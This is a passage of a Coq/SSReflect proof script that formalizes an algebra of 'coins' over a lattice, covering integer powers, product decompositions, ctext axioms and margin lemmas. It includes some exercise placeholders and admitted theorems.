[Negz n] == -(n+1). *) Eval compute in addz 1 2. Eval compute in addz 3 (-1). Eval compute in addz 1 (Negz 0). Eval compute in addz 1 (Negz 1). (* Opposite of an integer n, [oppz n] == -n. For instance, oppz Posz 0 == Posz 0, oppz Posz n.+1 == Neg n, oppz Negz 0 == Posz 1, oppz Negz n == Posz n.+1. *) Definition oppz := intZmod.oppz. Eval compute in addz 1 (oppz 1). Eval compute in addz (Negz 3) (oppz (Negz 3)). Goal forall n, addz n (oppz n) = Posz 0. Proof. (* FILL IN LINES HERE *) Admitted. (* Notations for integers, addition, and subtraction. (1) 1,2,3, etc. also stand for int, when coerced, eg. 1+1. (2) - 1%:Z, - 2%:Z, -3%:Z, stand for negative integers, -1, -2, -3, etc.. (3) m+n, integer addition for any m, n integers, e.g., 1+2, - 5%:Z + - 7%:Z, etc.. (4) m-n, integer subtraction for any m, n integers, e.g., 1-7%:Z, - 5%:Z - 7%:Z, etc.. *) (* 2015/3/27 *) Local Open Scope int_scope. Local Notation "0" := (Posz 0) : int_scope. Local Notation "-%Z" := (@oppz) : int_scope. Local Notation "- x" := (oppz x) : int_scope. Local Notation "+%Z" := (@addz) : int_scope. Local Notation "x + y" := (addz x y) : int_scope. Local Notation "x - y" := (x + - y) : int_scope. (* addition of two integers *) Eval compute in 0 + 0. Eval compute in 3+0. Eval compute in Negz 3 + 4. Eval compute in 4 + Negz 3. Eval compute in Negz 3 + Negz 3. Goal forall m n:nat, addz m n = addn m n. Proof. (* FILL IN LINES HERE *) Admitted. (* to confirm the useage of the notations *) (* the oppsite numbers *) Goal -(-0)=0. Proof. by[]. Qed. Goal -(-1) = 1. Proof. by[]. Qed. Goal -(-2%:Z) = 2%:Z. Proof. by[]. Qed. Goal -(-2%:Z) = 2. Proof. by[]. Qed. Goal - -2%:Z = 2. Proof. by[]. Qed. Goal --2%:Z = 2. Proof. by[]. Qed. Goal -------2%:Z = -2%:Z. Proof. by[]. Qed. Goal forall n, n - n =0. Proof. move => n; elim n. by[]. by case. by case. Qed. Goal forall n, oppz (oppz n) = n. Proof. by do 2! case. Qed. Goal forall n: int, - - n = n. Proof. by do 2! case. Qed. Goal forall n, - Negz n = n.+1. Proof. by []. Qed. (* Define integer powers of coins. *) Definition nupsz n x := match n with | Posz n' => nups n' x | Negz n' => ncoins n'.+1 (down x) end. Definition ndownsz n x := match n with | Posz n' => ndowns n' x | Negz n' => ncoins n'.+1 (up x) end. Lemma upz_power0_bob: forall x, nupsz 0 x = bob. Proof. move=> x /=. by rewrite up_power0_bob. Qed. Lemma upz_power1: forall x, nupsz 1 x = up x. Proof. move=> x /=. by rewrite up_power1. Qed. Lemma downz_power0_bob: forall x, ndownsz 0 x = bob. Proof. move=> x /=. by rewrite down_power0_bob. Qed. Lemma downz_power1: forall x, ndownsz 1 x = down x. Proof. move=> x /=. by rewrite down_power1. Qed. Lemma upz_power_m1: forall x, nupsz (-1%:Z) x = down x. Proof. move=> x /=. rewrite /ncoins big_cons_dot /=. by rewrite big_nil bob_unitR. Qed. Lemma downz_power_m1: forall x, ndownsz (-1%:Z) x = up x. Proof. move=> x /=. rewrite /ncoins big_cons_dot /=. by rewrite big_nil bob_unitR. Qed. Lemma nupsz_eq: forall (n:nat) x, nupsz n x = nups n x. Proof. by []. Qed. Lemma ndownsz_eq: forall (n:nat) x, ndownsz n x = ndowns n x. Proof. by []. Qed. Lemma nupszdown_eq: forall (n:nat) x, nupsz (-n%:Z) x = ndowns n x. Proof. case. by[]. by[]. Qed. Lemma ndownszup_eq: forall (n:nat) x, ndownsz (-n%:Z) x = nups n x. Proof. case. by[]. by[]. Qed. Lemma updownz_eq: forall n x, nupsz n x = ndownsz (-n) x. Proof. case; move=> n x /=. by rewrite /nups ndownszup_eq /= /ndowns. by[]. Qed. Lemma downupz_eq: forall n x, ndownsz n x = nupsz (-n) x. Proof. case; move=> n x. by rewrite nupszdown_eq. by[]. Qed. Lemma upzK: forall n x, dot (nupsz n x) (nupsz (-n) x) = bob. Proof. case; move=> n x. by rewrite nupsz_eq nupszdown_eq nupdownK /=. move=> /=. have tem: ndowns n.+1 x = ncoins n.+1 (down x). by[]. by rewrite -!tem dotC nupdownK. Qed. Lemma downzK: forall n x, dot (ndownsz n x) (ndownsz (-n) x) = bob. Proof. move=> n x; by rewrite -!updownz_eq downupz_eq dotC upzK. Qed. Lemma mix_up: forall x y, x != bot -> mix x y = dot (nupsz 1 (join x y)) (nupsz (-1) y). Proof. move=> x y iH; rewrite mix_up_down. by rewrite -!upz_power1 -!downz_power1 downupz_eq. by[]. Qed. Lemma atomic_up: forall x y, mix x y = if x==bot then down y else dot (nupsz 1 (join x y)) (nupsz (-1) y). Proof. move=> x y. case: ifPn; first by move/eqP => ->. exact: mix_up. Qed. (* Representation of coins in terms of raising coins. *) (* Lower coins can be expressed as powers of raising coins. *) Lemma down_up_ex: forall x, {n : int | down x = nupsz n x}. Proof. by exists (-1%:Z); rewrite upz_power_m1. Qed. (* Mixed coins can be decomposed as the product of powers of raising coins *) Lemma mix_up_ex: forall x y, x != bot -> {a: L*L | mix x y = dot (nupsz 1 a.1) (nupsz (-1) a.2)}. Proof. by move=> x y; exists (join x y, y); rewrite mix_up. Qed. (* >>> An example using dependent type *) Example ex_imp_ex A (f g: A -> Prop): (exists a: A, f a) -> (forall x: A, f x -> g x) -> exists b: A, g b. Proof. case => a Sa SiT. by exists a; apply: SiT. Qed. (* <<< An example using dependent type *) (* An important theorem says that any coin can be decomposed as the product of powers of raising coins. *) (* By definition, any coin is a product of mixed coins. *) Print coin_prod_atomics. (* ==== forall c : coins, {acs : seq (L * L) | c = \big[dot/bob]_(ac <- acs) mix ac.1 ac.2} ] *) (* Define coin products without using bigop *) Fixpoint coin_prod (l:seq coins) : coins := match l with | nil => bob | h :: t => dot h (coin_prod t) end. (* Parameters c d:coins. Eval compute in (coin_prod [::]). Eval compute in (coin_prod [::bob]). Eval compute in (coin_prod [:: c]). Eval compute in (coin_prod [:: c; d]). Eval compute in (coin_prod [::c; d; d]). Eval compute in (coin_prod (c :: [::d; d])). Eval compute in (coin_prod [:: c; c; d; d]). *) Lemma coin_prod_rec : forall a l, coin_prod (a :: l) = dot a (coin_prod l). Proof. move=> a l. case l. by rewrite /coin_prod bob_unitR. by rewrite /coin_prod //. Qed. (* Define coin products using bigop *) Definition coin_prod_bigop (l:seq coins) : coins := \big[dot/bob]_(c <- l) c. Lemma coin_prod_eq : forall l, coin_prod l = coin_prod_bigop l. Proof. elim. by rewrite /coin_prod /coin_prod_bigop big_nil //. move=>a l. rewrite /coin_prod_bigop =>h. by rewrite coin_prod_rec big_cons h. Qed. (* Define a list of mixed coins corresponding to a list of type [L*L]. *) Fixpoint seqL_to_seqC (l : seq (L * L)) : seq coins := match l with | nil => nil | h :: t => (mix h.1 h.2) :: (seqL_to_seqC t) end. Lemma seqL_to_seqC_rec : forall (a:L*L) (l: seq (L*L)), seqL_to_seqC (a :: l) = (mix a.1 a.2) :: (seqL_to_seqC l). Proof. by move=> a. Qed. (* Eval compute in (seqL_to_seqC [::]). Eval compute in (seqL_to_seqC [:: (bot,bot)]). Eval compute in (seqL_to_seqC [:: (bot,bot); (top, bot)]). *) Lemma seqL_to_seqC_eq : forall l : seq (L * L), coin_prod (seqL_to_seqC l) = \big[dot/bob]_(x <- l) mix x.1 x.2. Proof. - elim. by rewrite big_nil. - move=>a l h. by rewrite seqL_to_seqC_rec big_cons coin_prod_rec h. Qed. (* A list of type [seq (L * L)] produces a product of mixed coins, which can be rewritten as a product of interger powers. *) Fixpoint seqL_to_seqUp (l : seq (L * L)) : coins := match l with | nil => bob | h :: t => let c:= if (h.1==bot) then (down h.2) else dot (up (join h.1 h.2)) (down h.2) in dot c (seqL_to_seqUp t) end. Eval compute in (seqL_to_seqUp [::]). Eval compute in (seqL_to_seqUp [:: (bot, top)]). Lemma ref_eq (T: eqType) : forall x:T, (x == x) = true. Proof. move=> x. by apply /eqP. Qed. Goal forall x, seqL_to_seqUp [:: (bot, x)] = down x. Proof. by move=> x /=; rewrite ref_eq bob_unitR. Qed. Lemma double_not : forall P:Prop, ~ ~ P <-> P. Proof. move=> P. split. apply contradiction. by rewrite /not . by rewrite /not . Qed. Lemma negb_false_iff : forall (T:eqType) (x y: T), x != y <-> ((x == y) = false). Proof. split. rewrite /negb. destruct (x==y). by[]. by[]. move=> xny. rewrite /negb. by move: xny ->. Qed. Goal forall x y, x != bot -> seqL_to_seqUp [:: (x, y)] = mix x y. Proof. move=> x y h /=. rewrite mix_up_down; last by[]. move:h. rewrite negb_false_iff => ->. by rewrite bob_unitR //. Qed. Goal forall x y : L, {xns : seq (int*L) | seqL_to_seqUp [:: (x, y)] = \big[dot/bob]_(xn <- xns) nupsz xn.1 xn.2}. Proof. move=> x y. case: (altP (x =P bot)). exists [:: (-1%:Z, y)] =>/=. move: p; move /eqP ->. by rewrite bob_unitR /= big_cons /= big_nil bob_unitR ncoins2_eq /ncoins' . - exists [:: (1%:Z, join x y); (-1%:Z, y)] => /= . move:i; rewrite negb_false_iff =>->. do 2! rewrite big_cons //=. rewrite big_nil up_power1 /ncoins big_cons big_nil //=. by do 3! rewrite bob_unitR. Qed. (* <<<< selective induction *) Fixpoint evenb n := if n is n'.+2 then evenb n' else n == 0%N. Lemma evenb_plus n m : evenb n -> evenb m -> evenb (n + m). Proof. move: (leqnn n) . elim: n {1 3 4}n. (* --- among the 4 n's, do induction on the second one, the same as [elim: n {-2}n]. *) by case=>//. move =>n Hn. case=>//. case=>// n0. by move/ltnW /Hn=>//. Qed. (* Any coin can be written as the product of powers of raising coins. *) Theorem coin_prod_up : forall c : coins, {xns:seq (int*L) | c = \big[dot/bob]_(xn <- xns) nupsz xn.1 xn.2}. Proof. move=>c. move: (coin_prod_atomics c). case=> x. move:c. (* essential step for induction! *) elim: x. move=> c ca; exists nil; rewrite big_nil; by rewrite big_nil in ca. (* the second subgoal *) move=> a l H c. rewrite big_cons. rewrite atomic_up. case: ifPn => _. rewrite -upz_power_m1. set c1:= \big[dot/bob]_(j <- l) mix j.1 j.2. case: (H c1) => // il Hc1 Hc. exists ((-1%Z, a.2) :: il). by rewrite big_cons Hc Hc1. -set c1:= \big[dot/bob]_(j <- l) mix j.1 j.2. case: (H c1) => // il Hc1 Hc. exists ((1%:Z, (join a.1 a.2)) :: (-1%Z, a.2) :: il). do 2! rewrite big_cons. by rewrite Hc Hc1 dotA. Qed. (* return [true] if [seq L] has mutually distinct elements *) Fixpoint neqs (l:seq L) : bool := match l with | nil => true | h :: t => match t with | nil => true | h' :: t' => (h != h') && (neqs t') end end. Eval compute in neqs [::]. Eval compute in neqs [:: bot]. Eval compute in neqs [:: bot;bot]. Lemma ref: forall (T:eqType) (x:T), x == x. Proof. by[]. Qed. Lemma nnref: forall (T:eqType) (x:T), ~(x != x). Proof. move=> T x; by rewrite /not /negb ref. Qed. Lemma nref: forall (T:eqType) (x:T), (x != x) = false. Proof. by move=> T x; rewrite /negb ref. Qed. (* Return true if each element of [l:seq L] is smaller than [x:L]. *) Fixpoint seq_le (l:seq L) (x:L) : bool := match l with | nil => true | h :: t => if (ge x h) then (seq_le t x) else false end. (* this definition is equivalent to [all (ge x) l]. *) Goal all (ge bot) [::]. Proof. by[]. Qed. Eval compute in all (ge bot) [::]. Goal seq_le [::] bot. Proof. by[]. Qed. Eval compute in seq_le [::] bot. Lemma seq_le_all: forall x l, seq_le l x == all (ge x) l. Proof. move=> x l. elim l. by[]. move=>a l1 h. rewrite /seq_le /all. by case: ifP. Qed. (* Return true if each element of [l:seq L] is strictly smaller than [x:L]. *) Fixpoint seq_lt (l:seq L) (x:L) : bool := match l with | nil => true | h :: t => if gt x h then (seq_lt t x) else false end. (* this definition is equivalent to [all (gt x) l]. *) Lemma seq_lt_all: forall x l, seq_lt l x == all (gt x) l. Proof. move=> x l. elim l. by[]. move=>a l1 h. rewrite /seq_lt /all. by case: ifP. Qed. Goal seq_lt [::] bot. Proof. by[]. Qed. Eval compute in seq_lt [::] bot. (* Return true if each natural of a list is strictly smaller than a given natural. *) Fixpoint seqn_lt (l:seq nat) (x:nat) : bool := match l with | nil => true | h :: t => if (h < x) then (seqn_lt t x) else false end. (* this definition is equivalent to [all (fun z => z< x) l]. *) Lemma seqn_lt_all: forall (x:nat) l, seqn_lt l x == all (fun z => z< x) l. Proof. move=> x l. elim l. by[]. move=>a l1 h. rewrite /seqn_lt /all. by case: ifP. Qed. (* pick the first elements from [seq (A*B)] *) Fixpoint seq_1 {A B: Type} (l:seq (A*B)) : seq A:= match l with | nil => nil | h :: t => h.1 :: seq_1 t end. (* the same as [map (fun x => x.1) l] *) (* pick the second elements from [seq (A*B)] *) Fixpoint seq_2 {A B: Type} (l:seq (A*B)) : seq B:= match l with | nil => nil | h :: t => h.2 :: seq_2 t end. (* the same as [map (fun x => x.2) l] *) Lemma seq_1_map {A B: Type}: forall l:seq (A*B), seq_1 l = map (fun x => x.1) l. Proof. elim. by[]. move=> a l h. have t1: seq_1 (a :: l) = a.1::seq_1 l. by[]. have t2: [seq x.1 | x <- a :: l] = a.1::[seq x.1 | x <- l]. by[]. by rewrite t1 t2 h. Qed. Lemma seq_2_map {A B: Type}: forall l:seq (A*B), seq_2 l = map (fun x => x.2) l. Proof. elim. by[]. move=> a l h. have t1: seq_2 (a :: l) = a.2::seq_2 l. by[]. have t2: [seq x.2 | x <- a :: l] = a.2::[seq x.2 | x <- l]. by[]. by rewrite t1 t2 h. Qed. (*New fomalization of prime coins by Shimoyama.*) Lemma coin_decomp : forall x : L, exists y c xns, x != bot -> ge x y /\ c = \big[dot/bob]_(xn <- xns) nupsz xn.1 xn.2 /\ seq_lt (seq_2 xns) x /\ up x == dot c (up y). Proof. move=> x; exists x; exists bob; exists [::(1%:Z, bot)]; move=> H. apply/and_assoc. apply/(and_assoc _ _ (up x == dot bob (up x))). apply:conj. apply:conj. apply:conj. by apply:ge_reflexive. by rewrite big_cons big_nil upz_power1 up_bot_bob dot0r. rewrite /seq_2 /snd /seq_lt /gt; case:ifP. - done. - move/ andP; case; apply: conj. apply/ bot_minimum. apply/ H. by rewrite dot0r. Qed. (*formalization of cain*) (* Define ctext *) Parameter ctext : coins -> L. Fixpoint neq0_seq (l:seq int) : bool := match l with | nil => true | h :: t => match t with | nil => (h !=0) | h' :: t' => (h != h') && (neq0_seq t') end end. Axiom weak_ctext: forall (c:coins) (nx: seq(int*L)), c = \big[dot/bob]_(i <- nx) nupsz i.1 i.2 -> uniq [seq i.2 | i <- nx](*neqs (seq_2 nx)*) -> 0 \notin [seq i.1 | i <- nx] (*neq0_seq (seq_1 nx)*) -> ctext c = \big[join/bot]_(i <- nx) i.2. Lemma addnzE(n m:nat) : (addn n m)%:Z = addz n m. Proof. elim:n => //. Qed. Theorem addncoins n m c: dot (ncoins n c)(ncoins m c) = ncoins (n + m) c. Proof. elim: n => [|n Hn]. by rewrite add0n ncoins0_bob bob_unitL. by rewrite addSn !ncoins2_eq !ncoins1' dotrC dotrA -!ncoins2_eq [dot _ (ncoins n c)]dotrC Hn. Qed. (* move=> [[|n]|n] [[|m]|m] /=; rewrite ?NegzE ?oppzK ?addnS ?addn0 ?subn0 //; *) (* rewrite ?ltnS[m <= n]leqNgt [n <= m]leqNgt; case: ltngtP=> hmn /=; *) (* by rewrite ?hmn ?subnn // ?oppzK ?subSS ?subnS ?prednK // ?subn_gt0. *) Theorem neg_nupsz n x : ncoins n (down x) = nupsz (-n%:Z) x. Proof. by elim:n =>[|n Hn] /=;rewrite /nups ?ncoins0_bob. Qed. Theorem poz_nupsz n x : ncoins n (up x) = nupsz (n%:Z) x. Proof. by elim:n. Qed. Theorem nupszp_eq m x: (0 <= m) -> (nupsz m%:Z x) = nups m x. Proof. by elim:m => [h|m h1 h2] => //. Qed. Theorem nupszn_eq m x: (0 <= m) -> (ndownsz m%:Z x) = ndowns m x. Proof. by elim:m => [h|m h1 h2] => //. Qed. Lemma ncoins_subup n m x: m <= n -> ncoins n (up x) = dot (ncoins (n - m) (up x)) (ncoins m (up x)). Proof. move => h. by rewrite addncoins (subnK h). Qed. Lemma ncoins_subdown n m x: m <= n -> ncoins n (down x) = dot (ncoins (n - m) (down x)) (ncoins m (down x)). Proof. move => h. by rewrite addncoins (subnK h). Qed. Theorem addnupsz n m x: dot (nupsz n x)(nupsz m x) = nupsz (n + m) x. Proof. move: n m. move=> [[|n]|n] [[|m]|m] /= ; rewrite ?NegzE ?addn0 ?subn0 //; rewrite /nups ?ncoins0_bob ?bob_unitL ?bob_unitR; rewrite ?addncoins ?addSn ?addnS //; rewrite !ncoins2_eq !ncoins1' dotrACA ?up_down_unitL; rewrite ?down_up_unitL bob_unitR -!ncoins2_eq. rewrite subzSS. move:(leq_total m n) => /orP [] H. rewrite (subzn H) (@ncoins_subup n m x H) -dotA nupdownK bob_unitR. move/ (leq_sub2r m) in H; rewrite subnn in H. by rewrite (@nupszp_eq (n - m) x H). rewrite (@ncoins_subdown m n x H) dotC -dotA [dot (ncoins n (down x)) _]dotC; rewrite nupdownK bob_unitR updownz_eq oppz_add GRing.addrC GRing.opprK; rewrite (subzn H). move/ (leq_sub2r n) in H; rewrite subnn in H. by rewrite (@nupszn_eq (m - n) x H). rewrite GRing.addrC. rewrite subzSS. move:(leq_total n m) => /orP [] H. rewrite (subzn H). rewrite (@ncoins_subup m n x H) dotC -dotA nupdownK bob_unitR. move/ (leq_sub2r n) in H; rewrite subnn in H. by rewrite (@nupszp_eq (m - n) x H). rewrite (@ncoins_subdown n m x H) -dotA [dot (ncoins m (down x)) _]dotC nupdownK bob_unitR; rewrite updownz_eq oppz_add GRing.addrC GRing.opprK; rewrite (subzn H). move/ (leq_sub2r m) in H; rewrite subnn in H. by rewrite (@nupszn_eq (n - m) x H). Qed. (* 2016/07/20 *) Fixpoint head_in_tail (a:(int*L))(l:seq(int*L)):= match l with | nil => [::a] | h :: t => if a.2 == h.2 then ((a.1 + h.1),a.2)::t else h :: (head_in_tail a t) end. Fixpoint remove0L (xns:seq(int*L)):= match xns with | nil => nil | h::t => if h.1 == 0 then remove0L t else h ::(remove0L t) end. Theorem coin_prod_up_eq_non0 (xns:seq(int*L)): \big[dot/bob]_(xn <- xns) nupsz xn.1 xn.2 = \big[dot/bob]_(xn <- (remove0L xns)) nupsz xn.1 xn.2 . Proof. elim: xns => /=. -by[]. -move => a l H. case: ifP. move/eqP => a0. by rewrite big_cons a0 upz_power0_bob bob_unitL H. move => a0f. by rewrite !big_cons H. Qed. Theorem coin_prod_up_eq_hit (a:(int*L))(xns:seq(int*L)): \big[dot/bob]_(xn <- a :: xns) nupsz xn.1 xn.2 = \big[dot/bob]_(xn <- (head_in_tail a xns)) nupsz xn.1 xn.2 . Proof. elim: xns => /=. -by[]. -move => a0 l H. case: ifP; move/eqP => ha. rewrite !big_cons ha => /=. by rewrite -addnupsz dotA. by rewrite [in RHS] big_cons -H !big_cons dotC dotrAC dotA. Qed. Theorem zero_notin_rem (xns:seq (int*L)): 0 \in [seq i.1 | i <- (remove0L xns)] = false. Proof. elim:xns. by[]. move => a l H /=. case:ifP => a0. exact: H. rewrite in_cons eq_sym a0 Bool.orb_false_l. apply: H. Qed. Theorem hit_map_eq a xns: a.2 \in [seq i.2 | i <- xns] -> [seq i.2 | i <- xns] = [seq i.2 | i <- (head_in_tail a xns)]. Proof. elim: xns => /=. -by[ ]. -move => a0 l h1. rewrite in_cons => /orP [] /eqP h2. case:ifP => /eqP. by rewrite map_cons h2 => /=. by rewrite h2. move/eqP in h2. case:ifP => /eqP h3. by rewrite map_cons h3 => /=. rewrite map_cons. rewrite h2 in h1. by rewrite h1. Qed. Theorem coin_prod_seq_uniq xns: {uxns:seq (int*L) | \big[dot/bob]_(i <- xns) nupsz i.1 i.2 = \big[dot/bob]_(ui <- uxns)nupsz ui.1 ui.2 /\ uniq ([seq i.2 | i <- uxns]) }. Proof. elim: xns => /=. exists nil. by[]. move => a l. case => yms [] h1 h2. case H :(a.2 \notin [seq i.2 | i <- yms]). exists (a :: yms). split. by rewrite !big_cons -h1. apply/andP. exact: conj; last first => //. move:H;rewrite/negb. case:ifP => H _ //. exists (head_in_tail a yms). split. by rewrite -coin_prod_up_eq_hit !big_cons h1. by rewrite -(hit_map_eq H) h2. Qed. Lemma notin_rem_notin (a:(int*L))(l:seq(int*L)): a.2 \notin [seq i.2 | i <- l] -> a.2 \notin [seq i.2 | i <- (remove0L l)]. Proof. elim: l => /=. by[]. move => a' l h1 h2; case: ifP => // a'10. apply: h1. move:h2; rewrite in_cons /negb. case: ifP => // ;rewrite Bool.orb_false_iff. case => h2 h3 _ ; case:ifP => // h4. by rewrite -h3. move: h2. rewrite map_cons in_cons /negb. case: ifP => //. rewrite Bool.orb_false_iff. case => h2 h3 _. case:ifP => //. rewrite in_cons h2 Bool.orb_false_l. move:h1. rewrite /negb. case: ifP => h4; case:ifP => h5 _ // _. by rewrite -h3. Qed. Lemma rem_uniq (xns:seq (int*L)) : uniq ([seq i.2 | i <- xns]) -> uniq ([seq i.2 | i <- (remove0L xns)]). Proof. elim:xns => /=. by[]. move => a l h1. move/andP =>[] h2 h3. case:ifP => a0 /=. exact: h1. apply/andP. split; last first. exact: h1. exact: notin_rem_notin. Qed. Theorem coin_prod_up_strong c: {xns:seq (int*L) | c = \big[dot/bob]_(xn <- xns) nupsz xn.1 xn.2 /\ uniq ([seq i.2 | i <- xns]) /\ 0 \notin [seq i.1 | i <- xns] }. Proof. move: (@coin_prod_up c) => [] xns Hc. move: (@coin_prod_seq_uniq xns) => [] uxns [] uHc1 uHc2. exists (remove0L uxns). split. -by rewrite uHc1 in Hc ;rewrite -coin_prod_up_eq_non0. rewrite (coin_prod_up_eq_non0 uxns) in uHc1. split. by apply:rem_uniq. move : Hc uHc1 uHc2. elim: uxns => /=. by[]. move => a l h1 h2. case:ifP. move/eqP => a0 h3. move/andP => [] h4 h5. apply: h1 => //. move => a0f; rewrite big_cons /= => hc1; rewrite in_cons /negb. by case :ifP ;rewrite eq_sym a0f Bool.orb_false_l zero_notin_rem. Qed. (* 2016/07/13 *) Axiom ctext1 : forall x, ctext (up x) = x. Axiom ctext2 : forall x y, x != bot /\ ge y x -> ctext (mix x y) = bot. Axiom ctext3 : forall x y, x != bot /\ ~~ ge y x -> ctext (mix x y) = join x y. Axiom ctext4 : forall x, ctext (down x) = x. Lemma ctext1_1 x: {xns| up x = \big[dot/bob]_(xn <- xns) nupsz xn.1 xn.2 /\ uniq ([seq i.2 | i <- xns]) /\ 0 \notin ([seq i.1 | i <- xns]) /\ \big[join/bot]_(i <- xns) i.2 = x}. Proof. exists [::(1%:Z,x)] => //=. split. by rewrite big_cons big_nil bob_unitR -up_power1 => //=. rewrite big_cons big_nil join_commutative => //=. do 2 split => //. exact:join_bot_unitL. Qed. Lemma ctext1' x: ctext (up x) = x. Proof. move:(@ctext1_1 x). case => x0 [] h1 [] h2 [] h3 h4. move: (@weak_ctext (up x) x0)=> h5. rewrite h4 in h5. by rewrite (h5 h1 h2 h3). Qed. Lemma dot_inv_prod_up c nx: c = \big[dot/bob]_(i <- nx) nupsz i.1 i.2 -> dot_inv c = \big[dot/bob]_(i <- nx) nupsz (- i.1) i.2. Proof. Admitted. Theorem Th3_1 c: ctext c = ctext (dot_inv c). Proof. Admitted. Theorem Th3_2 c1 c2: ge (join (ctext c1) (ctext c2)) (ctext (dot c1 c2)). Proof. Admitted. Lemma not_bot_gt_bot x : x != bot = gt x bot. Proof. rewrite /gt; apply/eqP. case: ifP. case /andP => H1 H2; exact/eqP. rewrite (@bot_minimum x) /= ;by move/negbFE /eqP. Qed. Definition cintegrable x c := ge (ctext c) x. Parameter mcoin : L -> coins. Axiom mcoin_axiom : forall y, ge y (ctext (mcoin y)). Axiom mcoin_axiom':forall x c, ge x (ctext c)-> c = mcoin x. Lemma gt_joinL(*used in lemma5's proof*) a b : gt (join a b) b -> gt a bot. Proof. case: (altP (b =P bot)) => [-> | nbbot]. move: (@join_bot_unitL a)=> H. by rewrite join_commutative H. rewrite /gt. move /andP => [] gjabb njabb. apply /andP; apply conj. exact:bot_minimum. apply/negP. move=> /eqP abot. move: njabb; move /negP. case. by rewrite abot join_bot_unitL. Qed. Lemma ge_meet_def(*used in lemma5's proof*) a b: ge a b = (meet a b == b). Proof. rewrite /ge; apply/eqP;case: ifPn; move/eqP => H. by rewrite -{2}(@join_absorption a b) meet_distributive meet_idempotent H. rewrite /not. move => H1; move:H. rewrite /not => /eqP. by rewrite -H1 meet_commutative join_commutative join_absorption nref. Qed. Lemma meet_not_bot (*lemma5*)a b x: ge (join a b) x -> gt x b -> meet a x != bot. Proof. rewrite ge_meet_def meet_commutative meet_distributive;move /eqP => H1. rewrite /gt. move/andP =>[]; rewrite ge_meet_def;move/eqP => H2 H3. rewrite not_bot_gt_bot. apply: (@gt_joinL (meet a x) b). rewrite -{1}H2 [meet _ x] meet_commutative H1. rewrite /gt. apply/andP. split. by rewrite ge_meet_def;apply /eqP. by[]. Qed. Lemma also_integ x y c cy : cintegrable x c /\ meet y x = bot /\ ge y (ctext cy) -> cintegrable x (dot cy c). Proof. Admitted. Parameter coin_margin : L -> coins -> coins. Notation "c /d x" := (coin_margin x c) (at level 50). Axiom margin0 : forall x c, ctext (c /d x) = meet (ctext c) (com x). Axiom margin1 : forall x y, ge y x -> (up y) /d x = up (meet y (com x)). Axiom margin2 : forall x1 x2 c1 c2, meet x1 x2 = bot /\ meet x1 (ctext c2) = bot /\ meet x2 (ctext c1) = bot /\ ge (ctext c1) x1 /\ ge (ctext c2) x2 /\ cintegrable (join x1 x2) (dot c1 c2) -> (dot c1 c2) /d (join x1 x2) = dot (c1 /d x1) (c2 /d x2). Axiom margin3 : forall c, c /d bot = c. (*we define cain by this cainoid satisfying these properties*) (*Th4*) Theorem const_margin' x y c cx : cintegrable x cx /\ meet x y = bot /\ ge y (ctext c) -> dot c cx /d x = dot c (cx /d x). Proof. rewrite /cintegrable; move=> []=> H1 []=> H2 H3. rewrite -[in RHS](@margin3 c). rewrite -[in RHS]margin2; last first. apply :conj; first by rewrite meet_bot_unitL. apply :conj; first by rewrite meet_bot_unitL. apply :conj; last first. apply :conj; first by rewrite /ge join_bot_unitR. apply :conj; first by[]. apply /also_integ; first by[]. apply :conj; first by rewrite /cintegrable join_bot_unitL H1. apply :conj; first by rewrite join_bot_unitL meet_commutative. by[]. rewrite ge_meet_def in H3. move :H3; move /eqP => H3. by rewrite -H3 meet_associative H2 meet_bot_unitL. by rewrite join_bot_unitL. Qed. Theorem const_margin x c cx : cintegrable x cx /\ meet x (ctext c) = bot -> dot c cx /d x = dot c (cx /d x). Proof. rewrite /cintegrable; move=> []=> H1=> H2. rewrite -[in LHS](@join_bot_unitL x) margin2. rewrite margin3; first by[]. apply :conj; first by rewrite meet_bot_unitL. apply :conj; first by rewrite meet_bot_unitL. apply :conj; first by[]. apply :conj; first by rewrite /ge join_bot_unitR. apply :conj; first by[]. rewrite (@also_integ (join bot x) (ctext c) cx c); first by[]. apply :conj; first by rewrite /cintegrable join_bot_unitL H1. apply :conj; first by rewrite join_bot_unitL meet_commutative. by rewrite /ge join_idempotent. Qed. Lemma com_join_P x y : complement_P (join x y) (meet (com x) (com y)). Proof. rewrite/ complement_P; apply: conj. -rewrite meet_commutative meet_distributive [_ (com y)]meet_commutative -meet_associative [_ x]meet_commutative com_bot meet_bot_unitR [_ (com x)]meet_commutative -meet_associative [_ y]meet_commutative com_bot meet_bot_unitR; apply: join_bot_unitL. -by rewrite join_distributive {1}[_ y]join_commutative -join_associative com_top -join_associative com_top 2!join_top_unitR meet_idempotent. Qed. Lemma com_meet_P x y : complement_P (meet x y) (join (com x) (com y)). Proof. rewrite/ complement_P; apply: conj. -by rewrite meet_distributive {1}[_ y]meet_commutative -!meet_associative !com_bot !meet_bot_unitR join_bot. -by rewrite join_commutative join_distributive join_commutative !join_associative com_top -join_associative [_ _ y]join_commutative com_top join_top_unitL join_top_unitR meet_idempotent. Qed. Lemma com_join x y : com (join x y) = meet (com x) (com y). Proof. apply: (@complement_unique (join x y)). apply: conj. -apply: com_P. -apply: com_join_P. Qed. Lemma com_meet x y : com (meet x y) = join (com x) (com y). Proof. apply: (@complement_unique (meet x y)). apply: conj. -apply: com_P. -apply: com_meet_P. Qed. Lemma double_com x : com (com x) = x. Proof. apply: (@complement_unique (com x)). apply: conj. -apply: com_P. -rewrite /complement_P meet_commutative join_commutative; apply/ com_P. Qed. Lemma Th5_1 x y z : x != bot /\ mix x y = mix x z -> up (join x y) = dot (mix x z) (up y). Proof. case=> H1 H2. rewrite -H2 mix_up_down. by rewrite -dotA down_up_unitL dotr0. by[]. Qed. Lemma Th5_2 x y z : x != bot /\ mix x y = mix x z -> up (meet (join x y) (com (meet (meet y (com x)) (com z)))) = dot (mix x z) (up (meet y (com (meet (meet y (com x)) (com z))))). Proof. case=> H1 H2; rewrite -margin1. rewrite (@Th5_1 x y z). rewrite const_margin. rewrite margin1. by[]. rewrite/ ge. by rewrite -meet_associative meet_absorption. apply: conj. rewrite/ cintegrable ctext1. rewrite /ge; by rewrite -meet_associative meet_absorption. move: (@orbN (ge z x)). move/ orP. case. move=> H3. rewrite ctext2. by rewrite meet_bot_unitR. by split. move=> H3. rewrite ctext3. by rewrite meet_distributive meet_commutative meet_associative [_ y _]meet_commutative meet_associative com_bot !meet_bot_unitL -meet_associative [_ _ z]meet_commutative com_bot meet_bot_unitR join_bot. by split. by split. by rewrite/ ge 2!join_distributive -join_associative join_idempotent !join_absorption. Qed. Lemma Th5_3 x y z : meet (join x y) (com (meet (meet y (com x)) (com z))) = join x (meet y z). Proof. rewrite !com_meet !double_com !meet_distributive ![_ (join x 